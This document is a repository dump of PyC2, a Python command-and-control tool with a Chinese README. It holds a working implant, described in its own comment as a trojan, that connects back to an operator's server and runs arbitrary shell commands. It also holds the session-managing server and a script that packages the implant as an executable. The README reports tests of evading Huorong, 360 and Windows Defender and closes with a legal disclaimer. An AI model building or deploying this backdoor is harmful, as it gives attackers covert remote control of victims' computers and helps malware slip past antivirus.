├── .idea
├── vcs.xml
└── workspace.xml
├── README.md
├── gen.py
├── images
├── 1.png
├── 2.png
└── 3.png
├── implant.py
├── pyc2server.py
├── requirements.txt
└── settings.py
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 | 1657608637042
88 |
89 |
90 | 1657608637042
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # python版简易Command and Control (C2)
2 |
3 | ## 介绍
4 |
5 | 1. 使用socket建立网络传输
6 | 2. 解决了tcp粘包问题
7 | 3. 支持多个sessions切换
8 | 4. 跨平台支持windows/linux
9 | 5. 支持系统命令执行功能
10 | 6. 解决implant异常退出
11 | 7. 上线语音播报提示
12 | 8. 等等...
13 |
14 | ## 安装
15 |
16 | 环境
17 |
18 | ```
19 | python >= 3.7
20 | windows/linux
21 | ```
22 |
23 | 安装
24 |
25 | ````
26 | git clone https://github.com/1derian/PyC2.git
27 | cd PyC2
28 | pip3 install -r requirements.txt
29 | ````
30 |
31 | ## 使用
32 |
33 | 编辑配置文件
34 |
35 | ```
36 | vim settings.py
37 |
38 | SERVER_LISTEN_IP = "127.0.0.1" # c2server监听地址,如果是vps上使用,监听0.0.0.0,内网地址监听对应地址即可
39 | SERVER_LISTEN_PORT = 7788 # c2server监听端口
40 | AGENT_CONNECT_IP = "127.0.0.1" # agent回连c2的ip地址
41 | AGENT_CONNECT_PORT = 7788 # agent回连c2的端口
42 | SERVER_LISTEN_NUM = 20 # c2server监听的个数
43 | ```
44 |
45 | 启动服务端
46 |
47 | ```
48 | python3 pyc2server.py
49 | ```
50 |
51 | 由于python打包不支持跨平台编译 , 需要使用者在对应的平台上事先编译好
52 |
53 | 编译命令
54 |
55 | ```
56 | windows
57 | python3 gen.py -f implant.py -o implant.exe
58 |
59 | linux
60 | python3 gen.py -f implant.py -o implant
61 | ```
62 |
63 | 运行 implant , pyc2server收到对应的sessions链接
64 |
65 | ```
66 | 双击运行生成的 implant.exe
67 |
68 | D:\PyC2>python3 pyc2server.py
69 | [+](no_session) >新鱼上钩, 地址: ('127.0.0.1', 11142)
70 |
71 | [+](no_session) >
72 | ```
73 |
74 | 查看sessions
75 |
76 | ```
77 | [+](no_session) >sessions
78 | 1 ('127.0.0.1', 11142)
79 | ```
80 |
81 | 进入session , 并执行命令
82 |
83 | ```
84 | [+](no_session) >sessions -i 1
85 | ('127.0.0.1', 11142)>whoami
86 | win11\administrator
87 | ```
88 |
89 | 杀死 session
90 |
91 | ```
92 | [+](no_session) >kill 1
93 | [+](no_session) >sessions
94 | 当前sessions为空
95 | ```
96 |
97 | 查看帮助
98 |
99 | ```
100 | [+](no_session) >help
101 |
102 | Command and Control (C2)
103 |
104 | sessions 显示存活的session回话
105 | session -i *session id* 进入指定回话的shell,输入quite退出shell
106 | kill *session id* 退出指定回话
107 | help 打印帮助信息
108 | clear 清空屏幕
109 | exit 退出c2并关闭所有回话
110 | ```
111 |
112 | 清除当前终端内容
113 |
114 | ```
115 | [+](no_session) > clear
116 | ```
117 |
118 | 退出pyc2server
119 |
120 | ```
121 | [+](no_session) >exit
122 |
123 | D:\PyC2>
124 | ```
125 |
126 | ## 免杀测试
127 |
128 | 文件名修改 implant.exe --> agent.exe
129 |
130 | 火绒
131 |
132 | 
133 |
134 | 360
135 |
136 | 
137 |
138 | windows defender
139 |
140 | 
141 |
142 | ## 免责声明🧐
143 |
144 | 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建测试环境。
145 |
146 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。
147 |
148 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
149 |
--------------------------------------------------------------------------------
/gen.py:
--------------------------------------------------------------------------------
1 | import os
2 | import argparse
3 |
4 |
5 | def main(file, output):
6 | exec_cmd = f"pyinstaller -F -w {file} -n {output}"
7 | os.system(exec_cmd)
8 |
9 |
10 | if __name__ == '__main__':
11 | parser = argparse.ArgumentParser(description="implant 生成工具")
12 | parser.add_argument("-f", "--file", dest="file", help="input a file")
13 | parser.add_argument("-o", "--output", dest="output", help="save file path")
14 | args = parser.parse_args()
15 |
16 | main(args.file, args.output)
17 |
--------------------------------------------------------------------------------
/images/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1derian/PyC2/a281e4bf4f94c12e005b1d969613d3e58e4a5795/images/1.png
--------------------------------------------------------------------------------
/images/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1derian/PyC2/a281e4bf4f94c12e005b1d969613d3e58e4a5795/images/2.png
--------------------------------------------------------------------------------
/images/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1derian/PyC2/a281e4bf4f94c12e005b1d969613d3e58e4a5795/images/3.png
--------------------------------------------------------------------------------
/implant.py:
--------------------------------------------------------------------------------
1 | # 受控端木马
2 | # 自己回连服务端,接收命令,执行命令,结果回复给服务端
3 | import os
4 | import socket
5 | import struct
6 | import subprocess
7 | import settings
8 |
9 |
10 | def exec_cmd(command, code_flag):
11 | """执行命令函数"""
12 | command = command.decode("utf-8")
13 | # 1.处理cd命令
14 | if command[:2] == "cd" and len(command) > 2:
15 | try:
16 | os.chdir(command[3:])
17 | # 返回当前切换到的路径
18 | cmd_path = os.getcwd()
19 | stdout_res = f"切换到 {cmd_path} 路径下"
20 | except Exception:
21 | stdout_res = f"系统找不到指定的路径。: {command[3:]}"
22 | else:
23 | obj = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
24 | stdin=subprocess.PIPE) # 没有一个结束时间 vim 会一直卡在这一行
25 | stdout_res = obj.stdout.read() + obj.stderr.read()
26 | # 2.处理无回显命令
27 | if not stdout_res:
28 | stdout_res = f"{command} 执行成功"
29 | else:
30 | try:
31 | # cmd执行系统命令的编码
32 | stdout_res = stdout_res.decode(code_flag)
33 | except Exception:
34 | # 如果是打印 utf-8 编码保存的文件
35 | if code_flag == "gbk":
36 | code_flag = "utf-8"
37 | elif code_flag == "utf-8":
38 | code_flag = "gbk"
39 | stdout_res = stdout_res.decode(code_flag)
40 | return stdout_res.strip()
41 |
42 |
43 | def send_data(conn, data):
44 | """
45 | 发送数据函数 , 解决粘包问题
46 | :param conn: sock
47 | :param data: data/cmd
48 | :return: None
49 | """
50 | # 新增发送命令的粘包解决方案
51 | # 计算命令长度 , 打包发送
52 | cmd_len = struct.pack('i', len(data))
53 | conn.send(cmd_len)
54 | # 发送命令
55 | if type(data) == str: # 注意 str 不需要单引号
56 | data = data.encode("utf-8")
57 | conn.send(data) # utf-8编码发送 ,类型是字节
58 | return
59 |
60 |
61 | def recv_data(sock, buf_size=1024):
62 | """
63 | 接收数据函数 , 解决粘包问题
64 | :param client: client
65 | :param buf_size: buf_size=1024
66 | :return: data byte
67 | """
68 | # 先接受命令执行结果的长度
69 | x = sock.recv(4)
70 | all_size = struct.unpack('i', x)[0]
71 | # 接收真实数据
72 | recv_size = 0
73 | data = b''
74 | while recv_size < all_size:
75 | data += sock.recv(buf_size)
76 | recv_size += buf_size
77 | return data
78 |
79 |
80 | def main():
81 | sock = socket.socket()
82 | sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))
83 | # 接收数据
84 | code_flag = "gbk" if os.name == "nt" else "utf-8"
85 | while 1:
86 | try:
87 | cmd = recv_data(sock)
88 | if cmd == b'exit':
89 | sock.close()
90 | # 命令--> 执行
91 | res = exec_cmd(cmd, code_flag)
92 | # 发送结果
93 | send_data(sock, res)
94 | except Exception:
95 | sock.close()
96 | break
97 |
98 |
99 | if __name__ == '__main__':
100 | main()
101 |
--------------------------------------------------------------------------------
/pyc2server.py:
--------------------------------------------------------------------------------
1 | # 监听,发送命令,接收命令回显
2 | import os
3 | import socket
4 | import struct
5 | import threading
6 |
7 | import pyttsx3
8 | import settings
9 |
10 |
11 | def recv_data(conn, buf_size=1024):
12 | """
13 | 解决粘包的接收数据函数
14 | :param conn: sock对象
15 | :param buf_size: buf_size=1024
16 | :return: data bytes类型
17 | """
18 | # 先接受命令执行结果的长度
19 | x = conn.recv(4)
20 | all_size = struct.unpack('i', x)[0]
21 | # 解密(all_size)
22 | # 接收真实数据
23 | recv_size = 0
24 | data = b''
25 | while recv_size < all_size:
26 | data += conn.recv(buf_size)
27 | # data = 解密(data)
28 | recv_size += buf_size
29 | return data
30 |
31 |
32 | def send_data(conn, data):
33 | """
34 | 发送数据函数 , 解决粘包问题
35 | :param conn: sock
36 | :param data: data/cmd
37 | :return: None
38 | """
39 | if not data: return
40 | # 新增发送命令的粘包解决方案
41 | # 计算命令长度 , 打包发送
42 | cmd_len = struct.pack('i', len(data))
43 | conn.send(cmd_len)
44 | # 发送命令
45 | if type(data) == str: # 注意 str 不需要单引号
46 | data = data.encode("utf-8")
47 | # data = 加密(data)
48 | conn.send(data) # utf-8编码发送 ,类型是字节
49 | return
50 | # res_data = recv_data(conn)
51 | # print(res_data.decode('gbk'))
52 |
53 |
54 | def change_prompt(sign):
55 | global num, prompt
56 | num = num + 1 if sign == "+" else num - 1
57 | prompt = f"[-][{num}-sessions]"
58 |
59 |
60 | def accept_connections(sock):
61 | while 1:
62 | try:
63 | if stop_flag:
64 | break
65 | conn, addr = sock.accept()
66 | change_prompt("+")
67 | print(f"新鱼上钩, 地址: {addr}")
68 | engine = pyttsx3.init()
69 | engine.say("老大,你有新的主机上线")
70 | engine.runAndWait()
71 | sessions.append([conn, addr])
72 | except Exception:
73 | pass
74 |
75 |
76 | def print_help():
77 | print('''
78 | Command and Control (C2)
79 |
80 | sessions 显示存活的session回话
81 | session -i *session id* 进入指定回话的shell,输入quite退出shell
82 | kill *session id* 退出指定回话
83 | help 打印帮助信息
84 | clear 清空屏幕
85 | exit 退出c2并关闭所有回话
86 | ''')
87 |
88 |
89 | def shell_session(current_session):
90 | # 通过current_session获取conn和addr
91 | conn, addr = current_session
92 | while 1:
93 | try:
94 | # 先接收对方的os
95 | cmd = input(f'{addr}>').strip()
96 | if not cmd: continue
97 | if cmd.lower() in ["quit", "exit"]: return
98 | # 发送数据
99 | send_data(conn, cmd)
100 | # 接收结构
101 | res_data = recv_data(conn)
102 | print(res_data.decode("utf-8"))
103 | except KeyboardInterrupt:
104 | pass
105 | except Exception:
106 | conn.close()
107 | print(f"{addr} 异常退出")
108 | # session 死了,从session列表中删除
109 | sessions.remove(current_session)
110 | return
111 |
112 |
113 | def main():
114 | # 1.建立socket对象
115 | sock = socket.socket()
116 | # 2.绑定地址
117 | sock.bind((settings.SERVER_LISTEN_IP, settings.SERVER_LISTEN_PORT))
118 | # 3.监听
119 | sock.listen(settings.SERVER_LISTEN_NUM)
120 | # 4.等待链接
121 | # 开启一个子线程,死循环接收用户的发起链接的请求
122 | # 创建线程接收半连接
123 | print("[-]等待链接...")
124 | t1 = threading.Thread(target=accept_connections, args=(sock,))
125 | # 开启线程
126 | t1.start()
127 | # 思路
128 | # 1.小菜单
129 | global prompt
130 | while 1:
131 | order = input(f"{prompt}>").strip()
132 | if not order: continue
133 | if order.lower() == "help":
134 | # 打印小菜单帮助信息
135 | print_help()
136 | elif order == "sessions":
137 | if not sessions:
138 | print("[-]当前sessions为空")
139 | # 打印当前存活的session
140 | for i, v in enumerate(sessions):
141 | print(f"{i + 1} {v[1]}")
142 | elif order[:12] == 'sessions -i ':
143 | # 进入指定的回话,然后执行命令
144 | num = order[12:]
145 | # 判断序号是否是数字,以及是否存在
146 | if num.isdigit() and 0 < int(num) <= len(sessions):
147 | # 存在num , 进入到 执行命令
148 | # 通过num获取当前的conn
149 | current_session = sessions[int(num) - 1]
150 | shell_session(current_session)
151 |
152 | else:
153 | print("请输入存在的 session id")
154 | elif order == "clear":
155 | cmd = "cls" if os.name == "nt" else "clear"
156 | os.system(cmd)
157 | elif order[:5] == "kill ":
158 | num = order[5:]
159 | if num.isdigit() and 0 < int(num) <= len(sessions):
160 | current_session = sessions[int(num) - 1]
161 | conn, addr = current_session
162 | # 直接发送一个exit命令
163 | send_data(conn, 'exit')
164 | conn.close()
165 | sessions.remove(current_session)
166 | print(f"[+] {addr} is killed")
167 | change_prompt("-")
168 | else:
169 | print("请输入存在的 session id")
170 | elif order == "exit":
171 | # 关闭所有的session
172 | for session in sessions:
173 | conn, addr = session
174 | # 直接发送一个exit命令
175 | send_data(conn, 'exit')
176 | conn.close()
177 | sessions.remove(session)
178 | print(f"[+]all session is killed and exit")
179 | # 把子线程结束掉
180 | sock.close()
181 | global stop_flag
182 | stop_flag = True
183 | t1.join()
184 | break
185 | else:
186 | print("[-]输入的指令不存在 , help查看全部指令")
187 |
188 |
189 | if __name__ == '__main__':
190 | sessions = []
191 | stop_flag = False
192 | num = 0
193 | prompt = f"[-][{num}-sessions]"
194 | main()
195 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pyttsx3==2.90
2 | pyinstaller
--------------------------------------------------------------------------------
/settings.py:
--------------------------------------------------------------------------------
1 | SERVER_LISTEN_IP = "127.0.0.1"
2 | SERVER_LISTEN_PORT = 7788
3 | IMPLANT_CONNECT_IP = "127.0.0.1"
4 | IMPLANT_CONNECT_PORT = 7788
5 | SERVER_LISTEN_NUM = 20
--------------------------------------------------------------------------------